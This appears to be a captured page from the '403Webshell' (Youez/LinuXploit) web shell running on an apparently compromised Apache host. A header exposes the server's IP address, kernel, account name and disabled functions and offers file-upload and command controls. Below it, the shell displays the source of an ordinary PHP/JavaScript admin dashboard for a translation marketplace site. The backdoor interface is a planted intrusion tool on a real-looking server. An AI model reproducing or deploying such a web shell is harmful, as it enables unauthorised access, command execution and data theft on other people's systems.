403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/testadministrator/devsite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/testadministrator/devsite/index.php
<?php
// Articles Listing page
include 'header.php';
?>

<div class="row">
    <div class="col-xs-12">
        <div class="card" style="display: inline-block;">
            <div class="card-header">
                <h3 class="header-title">Dashboard</h3>
            </div>

			<div class="col-xs-12 mt-3 mb-3 display-flex index-filter">                 
                <p><strong>Language: </strong>
                    <select id="language_id" class="form-control" searchable="Search here..">
						<?php 
						$is_connection = 1;
						include 'controllers/get_languages.php'; ?>
					</select>
                </p>
				<p><strong>Select Date:</strong> <input type="text" id="date" class="form-control date-range-input" readonly="" value=""></p>
				<p class="p-button mobile-left"><button type="button" class="btn btn-primary" id="btn-filter">Filter</button></p>
				<p class="p-button mobile-right"><button type="button" class="btn btn-cancel" id="btn-clear">Clear Filter</button></p>
            </div>
		</div>
		<div class="row clearfix mt-50">
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-orange-light" href="translators.php">
					<div class="card-body">
						<i class="icon fa fa-users fa-4x"></i>
						<div class="content">
							<div class="title">Total signups</div>
							<div class="value"><span class="sign"></span><span id="users_count">0</span></div>
						</div>
					</div>
				</a>
			</div>
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-blue-light" href="translators.php">
					<div class="card-body">
						<i class="icon fa fa-users fa-4x"></i>
						<div class="content">
							<div class="title">Total Active Users</div>
							<div class="value"><span class="sign"></span><span id="active_users_count">0</span></div>
						</div>
					</div>
				</a>
			</div>		
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-yellow-light">
					<div class="card-body">
						<i class="icon fa fa-users fa-4x"></i>
						<div class="content">
							<div class="title">New signups today</div>
							<div class="value"><span class="sign"></span><span id="today_active_users">0</span></div>
						</div>
					</div>
				</a>
			</div>
		</div>
		
		<div class="row clearfix mt-50">
			<div class="col-xs-12">
				<div class="card">
					<div class="card-header">
						<h3 class="header-title">Reputation</h3>
					</div>
				</div>
			</div>
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-orange-light" href="top-user-suggestions.php">
					<div class="card-body">
						<i class="icon fa fa-question fa-4x"></i>
						<div class="content">
							<div class="title">Total suggestions</div>
							<div class="value"><span class="sign"></span><span id="suggestions_count">0</span></div>
						</div>
					</div>
				</a>
			</div>								
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">					
				<a class="card card-banner card-blue-light" href="top-user-votings.php">
					<div class="card-body">
						<i class="icon fa fa-thumbs-o-up fa-4x"></i>
						<div class="content">
							<div class="title">Total Votes</div>
							<div class="value"><span class="sign"></span><span id="votes_count">0</span></div>
						</div>
					</div>										
				</a>
			</div>	
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-green-light" href="top-user-suggestions.php">
					<div class="card-body">
						<i class="icon fa fa-bar-chart fa-4x"></i>
						<div class="content">
							<div class="title">Total sentences in Voting</div>
							<div class="value"><span class="sign"></span><span id="voting_sentences_count">0</span></div>
						</div>
					</div>
				</a>
				<small class="warning-text">(Date filter will not be applied here)</small>
			</div>
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-yellow-light" href="top-user-suggestions.php">
					<div class="card-body">
						<i class="icon fa fa-list fa-4x"></i>
						<div class="content">
							<div class="title">Total winning sentences</div>
							<div class="value"><span class="sign"></span><span id="winning_sentences_count">0</span></div>
						</div>
					</div>
				</a>
				<small class="warning-text">(Based on date at which winner was decided)</small>
			</div>		
			
		</div>
		<div class="row clearfix mt-50">
			<div class="col-xs-12">
				<div class="card">
					<div class="card-header">
						<h3 class="header-title">Marketplace</h3>
					</div>
				</div>
			</div>
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-orange-light" href="top-user-suggestions-marketplace.php">
					<div class="card-body">
						<i class="icon fa fa-question fa-4x"></i>
						<div class="content">
							<div class="title">Total suggestions</div>
							<div class="value"><span class="sign"></span><span id="marketplace_suggestions_count">0</span></div>
						</div>
					</div>
				</a>
			</div>	
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-yellow-light" href="skipped-sentence-marketplace.php">
					<div class="card-body">
						<i class="icon fa fa-question fa-4x"></i>
						<div class="content">
							<div class="title">Total skips</div>
							<div class="value"><span class="sign"></span><span id="skipped_marketplace_suggestions_count">0</span></div>
						</div>
					</div>
				</a>
			</div>				
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">					
				<a class="card card-banner card-blue-light" href="top-user-votings-marketplace.php">
					<div class="card-body">
						<i class="icon fa fa-thumbs-o-up fa-4x"></i>
						<div class="content">
							<div class="title">Total Votes</div>
							<div class="value"><span class="sign"></span><span id="marketplace_votes_count">0</span></div>
						</div>
					</div>										
				</a>
			</div>
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-green-light" href="top-user-suggestions-marketplace.php">
					<div class="card-body">
						<i class="icon fa fa-bar-chart fa-4x"></i>
						<div class="content">
							<div class="title">Total sentences in Voting</div>
							<div class="value"><span class="sign"></span><span id="voting_marketplace_sentences_count">0</span></div>
						</div>
					</div>
				</a>
				<small class="warning-text">(Date filter will not be applied here)</small>
			</div>			
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-orange-light" href="top-user-suggestions-marketplace.php">
					<div class="card-body">
						<i class="icon fa fa-list fa-4x"></i>
						<div class="content">
							<div class="title">Total winning sentences</div>
							<div class="value"><span class="sign"></span><span id="winning_marketplace_sentences_count">0</span></div>
						</div>
					</div>
				</a>
				<small class="warning-text">(Based on date at which winner was decided)</small>
			</div>	
			<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 mb-2">
				<a class="card card-banner card-yellow-light" href="documents.php">
					<div class="card-body">
						<i class="icon fa fa-align-center fa-4x"></i>
						<div class="content">
							<div class="title">Total Sentences Aligned</div>
							<div class="value"><span class="sign"></span><span id="document_sentences_count">0</span></div>
						</div>
					</div>
				</a>
				<small class="warning-text">(Based on date at which document was submitted)</small>
			</div>				
			<div class="loader"></div>
		</div>
		<div class="card card-cascade narrower mt-5 mb-4">
			<!-- Card image -->
			 <div class="card-header">
                <h3 class="header-title">Translators Analysis</h3>
            </div>
			<!-- Card image -->

			<!-- Card content -->
			<div class="card-body card-body-cascade text-center chart2">
				<canvas id="pieChart">					
				</canvas>
				<canvas id="pieChart1" style="display:none;">					
				</canvas>
				<div class="preloader-wrapper active">
				  <div class="spinner-layer spinner-blue-only">
					<div class="circle-clipper left">
					  <div class="circle"></div>
					</div>
					<div class="gap-patch">
					  <div class="circle"></div>
					</div>
					<div class="circle-clipper right">
					  <div class="circle"></div>
					</div>
				  </div>
				</div>
			</div>
		</div>
        
    </div>
</div>


<?php include 'footer.php'; ?>

<script type="text/javascript">
    var placementFrom = "top";
    var placementAlign = "right";
    var animateEnter = "";
    var animateExit = "";
    var colorName = "bg-green";
    var request_start = '';
    var request_end = '';
    loadData();
	updateConfig();	
    function updateConfig() {
        var options = {};
        options.linkedCalendars = true;
        options.autoUpdateInput = true;
        options.showCustomRangeLabel = false;
        options.alwaysShowCalendars = true;
//        options.startDate = moment().startOf('week').add(1, 'days');
//        options.endDate = moment().endOf('week').add(1, 'days');
        options.startDate = false;
        options.endDate = false;
        options.opens = "left";

        options.locale = {
            direction: 'ltr',
            format: 'DD MMM, YYYY',
            separator: ' - ',
            applyLabel: 'Apply',
            cancelLabel: 'Cancel',
            fromLabel: 'From',
            toLabel: 'To',
            customRangeLabel: 'Custom',
            daysOfWeek: ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'],
            monthNames: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
            firstDay: 1
        };

        options.ranges = {
            'Today': [moment(), moment()],
            'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
            'This Week': [moment().startOf('week').add(1, 'days'), moment().endOf('week').add(1, 'days')],
            'Last Week': [moment().startOf('week').subtract(6, 'days'), moment().endOf('week').subtract(6, 'days')],
            'This Month': [moment().startOf('month'), moment().endOf('month')],
            'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')],
            'This Year': [moment().startOf('year'), moment().endOf('year')],
            'Last Year': [moment().subtract(1, 'year').startOf('year'), moment().subtract(1, 'year').endOf('year')]
        };



        $('#date').daterangepicker(options, function (start, end, label) {
            request_start = start.format('YYYY-MM-DD');
            request_end = end.format('YYYY-MM-DD');
            console.log('New date range selected: ' + start.format('YYYY-MM-DD') + ' to ' + end.format('YYYY-MM-DD') + ' (predefined range: ' + label + ')');
        });

        $('#date').val('');
    }
    $('#date').on('apply.daterangepicker', function(ev, picker) {
        request_start = picker.startDate.format('YYYY-MM-DD');
        request_end = picker.endDate.format('YYYY-MM-DD');
      console.log('New date range selected: ' + request_start + ' to ' + request_end);
    });
	
	$("body").on('click', '#btn-clear', function () {
        $('#date').val('');
        request_start = '';
        request_end = '';
		$("#language_id").val(0);
        loadData();
    });
	
    $('#btn-filter').on('click', function (e) {
        loadData();
    });
		
    $("body").on('click', '.trigger-switch-referal', function () {
        $.ajax({url: 'controllers/update_user_ban_status.php',
            data: {
                status: $(this).is(":checked"),
                id: $(this).attr('data-id'),
                type: 1,
            },
            type: 'post',
            success: function (output) {
                console.log(output);
            }
        });
    });
	
	function loadData() {
		var myPieChart = null;
		$('.loader').show();
		 $.ajax({
			url: 'controllers/get_dashboard_counts.php',
            data: {
				language_id: $("#language_id").val(),
                start_date: request_start,
                end_date: request_end,
            },
            type: 'post',
			dataType: 'JSON',
            success: function (output) {
				$("#users_count").html(output.users_count);                
				$("#active_users_count").html(output.active_users_count);	
				$("#today_active_users").html(output.today_active_users);
				$("#suggestions_count").html(output.suggestions_count);									
				$("#votes_count").html(output.votes_count);	
				$("#winning_sentences_count").html(output.winning_sentences_count);	
				$("#voting_sentences_count").html(output.voting_sentences_count);
				$("#marketplace_suggestions_count").html(output.marketplace_suggestions_count);		
				$("#skipped_marketplace_suggestions_count").html(output.skipped_marketplace_suggestions_count);					
				$("#marketplace_votes_count").html(output.marketplace_votes_count);	
				$("#winning_marketplace_sentences_count").html(output.winning_marketplace_sentences_count);	
				$("#voting_marketplace_sentences_count").html(output.voting_marketplace_sentences_count);
				$("#document_sentences_count").html(output.document_sentences_count);
				
				if(output.total_languages > 0) {
					var legend = false;
					var chart_id = 'pieChart';
					$("#pieChart").css("display", "block");
					$("#pieChart1").css("display", "none");
					if(output.language_id > 0) {
						legend = true;
						chart_id = 'pieChart1';
						$("#pieChart").css("display", "none");
						$("#pieChart1").css("display", "block");
					}
					if(myPieChart != null){
						myPieChart.destroy();
					}
					//draw pie chart
					var ctxP = document.getElementById(chart_id).getContext('2d');					
					var myPieChart = new Chart(ctxP, {
					  type: 'pie',
					  data: {
						labels: output.languages,
						datasets: [{
						  data: output.language_users,
						  backgroundColor: output.language_colors,
						  hoverBackgroundColor: output.language_colors,
						}]
					  },
					  options: {
						responsive: true,
						legend: { display: legend }
					  }
					});
				}
				$('.loader').hide();				
            }			
        });
	}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit